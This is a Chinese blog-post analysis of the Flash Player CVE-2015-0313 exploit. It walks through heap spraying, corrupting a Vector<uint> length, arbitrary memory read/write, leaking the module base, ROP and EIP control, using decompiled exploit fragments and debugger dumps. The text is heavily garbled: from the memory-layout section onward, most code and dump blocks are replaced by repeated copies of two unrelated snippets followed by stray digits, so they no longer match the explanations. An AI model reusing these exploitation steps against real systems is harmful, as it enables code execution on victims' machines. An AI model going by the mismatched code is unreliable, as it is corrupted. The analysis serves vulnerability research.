CVE-2015-0313:New Flash Exploit Analysis-华盟网

CVE-2015-0313:New Flash Exploit Analysis

华盟学院山东省第二期线下学习计划

domainMemory:

大家都应该知道该属性被用来指定ApplicationDomain中执行全局内存操作的对象,domainMemory继承于ByteArray。

漏洞成因:

该漏洞正好发生在worker和domainMemory之间。漏洞触发的流程如下:

1)在主worker中创建子worker,然后worker间共享ByteArray数据

2)在主worker中将共享的ByteArray对象设置为domainMemory

3)在子worker中通过ByteArray.Clear将共享的ByteArray内存清除

4)但是这时候domainMemory任然可以引用共享的内存区域,这是因为子worker调用clear清除内存的时候没有通知domainMemory修改对共享的引用。这就是bug所在。

写到这里相信有心之人已经能够自己构造poc了。(怕

Exploit技术细节

前面分析了漏洞触发原因,接下来我们重点分析下该样本是如何利用该漏洞的。(该样本使用了很多技巧来绕开杀软和增加分析的难度,这里先不说这些,大家肯定更关心是如何利用的)

确定攻击环境:

通过以下代码获得Flash Player的版本

var _loc7_:String = Capabilities.version.toLowerCase();

如果不是window,直接退出

var _loc6_:String = _loc7_.substr(0,4);
if(_loc6_ != "win ")
{
return 0;
}

然后再针对Flash Player版本号进行判断

var 
_loc3_:Boolean = this.var_13 >= 130000259 && this.var_13 < 140000000 || this.var_13 == 150000246 || this.var_13 >= 160000235;

_loc14_ = root.loaderInfo.parameters.exec;

然后再经过一系列的变换得到真正的URL,这里就不累述

之后会把编码后的shellcode(字符串的形式)写入ByteArray

布局内存:

接下来,该exp开始执行最重要的步骤,通过Vector.<Object>来heap spray,控制内存布局,类似代码如下:

this.var_48 = new Vector.<Object>(0x1020);
_loc2_ = 0;
while(_loc2_ < this.aNmlxJ)
{
loc16_ = new ByteArray();
_loc16_.endian = "littleEndian";
this.var_48[_loc2_] = _loc16_;
_loc2_++;
}

然后就是填充每个Vector元素,该Exp用ByteArray来填充

g_bt = new ByteArray();
g_bt.shareable = true;
g_bt.endian = "littleEndian";
_loc2_ = 0;
while(_loc2_ < this.vecLength)
{
   if(_loc2_ != 817)                                        ;
   {
      _loc16_ =this.var_48[_loc2_] as ByteArray;
      _loc16_.length = 0x2000;
      wIntInByteArr(_loc16_,0xcccccccc);      ;向ByteArray写入0xcccccccc
      _loc16_.writeInt(0xbabefac0);                 ;写入标记
      _loc16_.writeInt(0xbabefac1);
      _loc16_.writeInt(_loc2_);
      _loc16_.writeInt(0xbabefac3);
   }
   else
   {
      g_bt.length = 0x2000;
      wIntInByteArr(g_bt,0x33333333);          ;写入0x33333333
   }
   _loc2_++;
}

如上代码所示,this.var_48[817] 并没有分配实例,“取而代之”的是g_bt:ByteArray,同样分配了0x2000字节的大小。

这时候我们可以看看内存中的布局情况,不过首先我们先看下ByteArray在内存中的数据结构。

在本例中g_bt对象实例的地址是ab22581,但是这不是真是的内存地址,这是因为AVM在操作数据时,都是以atom为基本类型,地址的最后3 bits百村了对象指针的信息。

   

Untagged       = 000 (0)
    Object        = 001 (1)
    String         = 010 (2)
    Namespace    = 011 (3)
    "undefined"   = 100 (4)
    Boolean      = 101 (5)
    Integer       = 110 (6)
    Number       = 111 (7)

所以,我们需要经过 “Object address & 0xfffffff8” 的操作来得到真正的对象地址。

g_bt对象实例的真实地址是ab22580。现在来看下内存结构

0:027> dd ab22580
0ab22580  65b6af90 00000004 08c913f8 0ab38940
0ab22590  0ab2259c 00000040 00000000 65b6af40
0ab225a0  65b6af4c 65b6af3c 65bbacc8 08ea5080
0ab225b0  08cd9000 0ab1bb38 00000000 00000000
0ab225c0  65b89164 0ab21500 00000001 00000000
0ab225d0  65b6af34 00000003 00000001 00000000

也许想要把整个结构逆出来确实比较难,但是我们并不需要关心这么多,只需要关心最重要的部分。

在偏移0x44处有个指针,我们再来看下该指针指向的内存区域

0:027> dd 0ab21500 
0ab21500  65b6a4c4 00000001 0be97000 00002000
0ab21510  00002000 00000000 65b5e5b8 0c412000

事实上,在偏移0x8处的指针指向ByteArray对象存储的数据其实位置

0:027> dd 0be97000 
0be97000  33333333 33333333 33333333 33333333
0be97010  33333333 33333333 33333333 33333333
0be97020  33333333 33333333 33333333 33333333
0be97030  33333333 33333333 33333333 33333333
0be97040  33333333 33333333 33333333 33333333
0be97050  33333333 33333333 33333333 33333333
0be97060  33333333 33333333 33333333 33333333
0be97070  33333333 33333333 33333333 33333333

还记得前面代码中写入g_bt的0x33333333么

现在终于找到了g_bt中数据内容的实际地址,我们知道g_bt的length是0x2000,这时我们在来看看g_bt附近的内容是什么。

var _loc6_:String = _loc7_.substr(0,4);
if(_loc6_ != "win ")
{
return 0;
}

0

这是g_bt + 0x2000附近的内存,看到红色部分的数据是不是很眼熟,对了,这就是前面写入其他ByteArray中的数据,其中0x332(818)便是每个ByteArray在Vector中的序号。

再来看看附近其他地址的内容:

var _loc6_:String = _loc7_.substr(0,4);
if(_loc6_ != "win ")
{
return 0;
}

1

跟前面的内容如出一辙,同样是之前写入ByteArray的数据内容,而且序号是0x330(816)。当然如果继续往更前或更后面看情况也是一样的。

所以我们可以知道内存布局的大概情况如下:

CVE-2015-0313:New

OK,接下来Exp在子worker中同样申请了大量内存

var _loc6_:String = _loc7_.substr(0,4);
if(_loc6_ != "win ")
{
return 0;
}

2

然后Exp在子worker中清除共享的ByteArray数据内容,通过调用ByteArray.Clear()

var _loc6_:String = _loc7_.substr(0,4);
if(_loc6_ != "win ")
{
return 0;
}

3

这时前面g_bt指向的数据区域将被清空,同时g_bt的length也将会被置零,但是domainMemory任然持有对该内存区域的引用。

之所以在调用Clear()之前再次堆喷,是为了确保一下代码能顺利占位成功

var _loc6_:String = _loc7_.substr(0,4);
if(_loc6_ != "win ")
{
return 0;
}

4

这个时候前面的内存布局将有所改变

CVE-2015-0313:New

并且在worker间共享hIR。

接下来再在主worker中清除Vector中序数为奇数的元素(ByteArray)的数据内容,同时再次调用ByteArray.Clear()清除共享的ByteArray数据。

var _loc6_:String = _loc7_.substr(0,4);
if(_loc6_ != "win ")
{
return 0;
}

5

这时候前面的内存布局将又有些许变化

CVE-2015-0313:New

紧接着主worker分配大量Vector<uint>占位

var _loc6_:String = _loc7_.substr(0,4);
if(_loc6_ != "win ")
{
return 0;
}

6

先来看下占位之前的内存(布局图中绿色区域)

var _loc6_:String = _loc7_.substr(0,4);
if(_loc6_ != "win ")
{
return 0;
}

7

然后再来看看占位成功后的情况

var _loc6_:String = _loc7_.substr(0,4);
if(_loc6_ != "win ")
{
return 0;
}

8

Important data 1

没错,前0x20字节就是page header,从0x0c338020开始就是占位用的Vector<uint>对象的数据区域,这是由于AVM自身的内存分配管理器的分配机制决定的,该0x2000字节大小的内存块被划分为0x1f8(0x1f8=72*4+8+0x28(用0xbbbbbbbb填充))大小的内存块来存放Vector<uint>。该部分详见李海飞paper:smashing_the_heap_with_vector_Li。

其中蓝色的4字节数据就是Vector<uint>对象的长度,偏移0x8便是Vector<uint>数据的起始地址,还记得前面写入的数据吗。

其中紫色的8字节数据很重要,后面会提到。

为了确认是否正确,可以先看下

Vector<uint>在内存中的数据结构

var _loc6_:String = _loc7_.substr(0,4);
if(_loc6_ != "win ")
{
return 0;
}

9

偏移0x1c处的数据便是Vector<uint>的数据区域

现在再来看下占位成功后的内存布局

CVE-2015-0313:New

通过一下图片可以验证(下图中内存地址由0c338000变为0c0bc000):

CVE-2015-0313:New

图片1

再看看加0x4000处的内存:

CVE-2015-0313:New

图片2

以上两图验证了内存布局的结果。

破坏内存:

接下来domainMemory仍然保存着对被占位数据的引用,所有可以直接修改Vector<uint>的长度,这样修改后

Vector<uint>便可以越界读写,效果如下

var 
_loc3_:Boolean = this.var_13 >= 130000259 && this.var_13 < 140000000 || this.var_13 == 150000246 || this.var_13 >= 160000235;

0

类似代码如下:

var 
_loc3_:Boolean = this.var_13 >= 130000259 && this.var_13 < 140000000 || this.var_13 == 150000246 || this.var_13 >= 160000235;

1

样本中还有对x86,x64的判断就不在这里累述了

越界读写:

当然要想真正做到越界读写,还需要找到对应的Vector[index]元素,代码如下:

var 
_loc3_:Boolean = this.var_13 >= 130000259 && this.var_13 < 140000000 || this.var_13 == 150000246 || this.var_13 >= 160000235;

2

通过以上代码就可以找到被修改长度的Vector<uint>对象(this.corropUintVec),这样就是可以通过corropUintVec[index]实现越界读写,index可以大于原来的length 0x72。

任意地址读写:

首先该Exp通过查找前面写入Vector<uint>对象的标记数据找到了

Next page +

Vector<uint>(图片2),代码如下:

var 
_loc3_:Boolean = this.var_13 >= 130000259 && this.var_13 < 140000000 || this.var_13 == 150000246 || this.var_13 >= 160000235;

3

其中标记为红色的变量记录的是Next

Vector<uint>的index,返回的是Next Vector<uint>的相对被修改长度Vector<uint>( this.corropUintVec)的偏移

紧接着通过以下代码得到图片3中红框中的数据,还记得前面还记得前面important data 1中用紫色标出的2个重要字段吗,这就是其中之一(具体的地址值有变化)

CVE-2015-0313:New

图片3

代码如下:

var 
_loc3_:Boolean = this.var_13 >= 130000259 && this.var_13 < 140000000 || this.var_13 == 150000246 || this.var_13 >= 160000235;

4

这个字段为什么很重要后面会继续讲到。

这时再通过增加找到的Vector<uint>(序号为0x14e0)的长度,将该内存块中第一个0x1f8的子块释放掉,这是AVM便会在page header 中写入该内存块的地址。

代码如下:

var 
_loc3_:Boolean = this.var_13 >= 130000259 && this.var_13 < 140000000 || this.var_13 == 150000246 || this.var_13 >= 160000235;

5

内存图如下:

CVE-2015-0313:New

图片4

如上所说,该内存已经被释放,长度清零,该内存中的Vector<uint>的数据被复制到新申请的内存。Flash Player中的实现代码如下:

CVE-2015-0313:New

图片5

接下来通过以下类似代码,得到清空的

Vector<uint>数据块的地址:

var 
_loc3_:Boolean = this.var_13 >= 130000259 && this.var_13 < 140000000 || this.var_13 == 150000246 || this.var_13 >= 160000235;

6

紧接着得到被修改Vector<uint>的数据字段的起始位置:

var 
_loc3_:Boolean = this.var_13 >= 130000259 && this.var_13 < 140000000 || this.var_13 == 150000246 || this.var_13 >= 160000235;

7

这时候就可是实现任意地址读写了,类似代码如下:

var 
_loc3_:Boolean = this.var_13 >= 130000259 && this.var_13 < 140000000 || this.var_13 == 150000246 || this.var_13 >= 160000235;

8

泄露基址:

再来重温下前面提到的2个重要字段

var 
_loc3_:Boolean = this.var_13 >= 130000259 && this.var_13 < 140000000 || this.var_13 == 150000246 || this.var_13 >= 160000235;

9

Important data 1

这是前面提到过的Next page的数据内存,在偏移0x1c处是第一个重要字段,读者肯定已经猜到,就是可以用来泄露flash player 模块基址的数据。

经过前面的操作Next page中的数据已经有了些许,如图片4所示,但是在偏移0x1c处依然存放着我们想要的数据

_loc14_ = root.loaderInfo.parameters.exec;

0

通过以上代码便可获取,接下来就是用该字段来泄露基址,该Exp泄露基址的方式可以说非常简单,粗暴,来看代码:

CVE-2015-0313:New

不好意思贴错图了。。。

代码是这样的:

_loc14_ = root.loaderInfo.parameters.exec;

1

对,就是这么简单,没有任何的花式技巧,你没有看错,就是这么粗暴(haoxihuan)!!!

接下来就可以动态的构造ROP了,ROP也是非常简单的

_loc14_ = root.loaderInfo.parameters.exec;

2

控制EIP:

该Exp控制EIP还是略有不同,还记得前面提到的用紫色标记的2个重要字段吗,还有一个没有用,是的,就是这一个。

该字段实际上指向一个对象,在修改Vector<uint>的长度的时候会用改该对象,所以Exp伪造了一个该对象,通过修改相应的标志位和虚表控制EIP。

_loc14_ = root.loaderInfo.parameters.exec;

3

这时的Vector<uint>如下:

_loc14_ = root.loaderInfo.parameters.exec;

4

红色标记的字段已经被修改指向可控的内存区域(与该page紧邻的ByteArray数据区),如果你要问为什么索引是0x3fffffff,是因为操作Vector<uint>的代码如下:

_loc14_ = root.loaderInfo.parameters.exec;

5

其中eax指向Vector<uint>数据区域的起始地址,ecx代表index

而伪造的对象如下:

_loc14_ = root.loaderInfo.parameters.exec;

6

0x0c0bed80处的数据指向ROP,这时候调用以下代码,控制EIP:

_loc14_ = root.loaderInfo.parameters.exec;

7

汇编代码:

_loc14_ = root.loaderInfo.parameters.exec;

8

ecx指向已经写入的ROP链地址,接下来将执行任意代码!

END!

本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/330.html

www.idc126.com

原文地址:https://exploits.77169.com/2015/20150330091639.shtm

本文由 华盟网 作者:怪狗 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。
0

发表评论